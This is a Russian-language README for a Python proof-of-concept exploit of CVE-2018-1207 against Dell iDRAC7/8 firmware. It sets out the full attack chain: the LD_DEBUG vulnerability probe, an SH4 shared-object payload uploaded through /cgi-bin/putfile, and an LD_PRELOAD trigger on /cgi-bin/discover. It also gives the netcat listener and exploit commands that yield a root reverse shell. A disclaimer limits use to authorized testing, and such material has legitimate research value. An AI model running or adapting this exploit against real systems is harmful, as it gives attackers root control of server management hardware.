
Reverse Shell CVE для iDRAC 7 и 8 с прошивкой 2.52.52.52 и ниже.
Этот репозиторий содержит скрипт Proof of Concept на Python для демонстрации эксплойта удалённого выполнения кода в устройствах iDRAC7 и iDRAC8 с версиями прошивки 2.52.52.52 и ниже. Этот эксплойт позволяет атакующему выполнять код от имени пользователя root, что может привести к полному захвату системы. В коде мы показываем это, запуская атаку с обратным шеллом с помощью эксплойта. Код в этом репозитории представляет собой отредактированную версию оригинального эксплойта от Michael Gargiullo (mgargiullo).
Отказ от ответственности — Этот код предоставлен исключительно в образовательных целях. Вы не можете использовать этот скрипт для атак на устройства, которые вам не принадлежат или на которые у вас нет явного письменного согласия. Использование этого скрипта в системах без надлежащего разрешения незаконно. Я не несу ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Несанкционированное использование может привести к серьёзным правовым последствиям, включая штрафы и тюремное заключение.
?LD_DEBUG=files. Если в ответе содержится отладочная информация, показывающая, какие файлы библиотек он пытается загрузить, значит, устройство уязвимо.sh4-linux-gnu-gcc. Поскольку iDRAC работает на процессорной архитектуре SuperH (SH4), нам нужно скомпилировать код в разделяемый объект (.so), чтобы он мог быть выполнен iDRAC.POST-запрос на /cgi-bin/putfile, который сохраняет файл в /tmp/sshpkauthupload.tmp.GET-запрос на /cgi-bin/discover с параметром ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. Это заставляет iDRAC загрузить указанную библиотеку перед любой другой, что загружает модифицированный файл .so из каталога /tmp/.constructor, код выполняется мгновенно после загрузки, что приводит к обратному шеллу от имени пользователя root (пользователь с наивысшими привилегиями в Linux-системе).Перед запуском скрипта убедитесь, что у вас есть следующее:
Python3
Модуль requests для Python3 (можно установить через pip install requests)
SH4 C Cross-Compiler (можно установить через sudo apt install gcc-sh4-linux-gnu)
Без этих требований у вас возникнут проблемы, и эксплойт не сможет полностью выполниться! Проверки на соответствие этим требованиям не реализованы.
Запустите слушатель на своей машине, чтобы принять обратный шелл. Используйте для этого netcat.
nc -lvnp <LPORT>
Замените <LPORT> на порт, который вы хотите слушать (например, 5000).
Запустите скрипт с необходимыми аргументами.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: IP-адрес целевого iDRAC.--rport: Порт веб-интерфейса iDRAC (обычно 443).--lhost: Ваш локальный IP-адрес для подключения обратного шелла.--lport: Ваш локальный порт, на котором работает слушатель Netcat.--keep-payload: (Необязательно) Если указан, скрипт не будет удалять файлы payload.c и payload.so с вашей машины после выполнения.Машина атакующего (IP: 192.168.1.100) — Запустите слушатель.
nc -lvnp 5000
Машина атакующего — Запустите эксплойт, направленный на iDRAC по адресу 192.168.1.50.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
В случае успеха вы получите сессию шелла в терминале Netcat, где сможете выполнять команды, например racadm.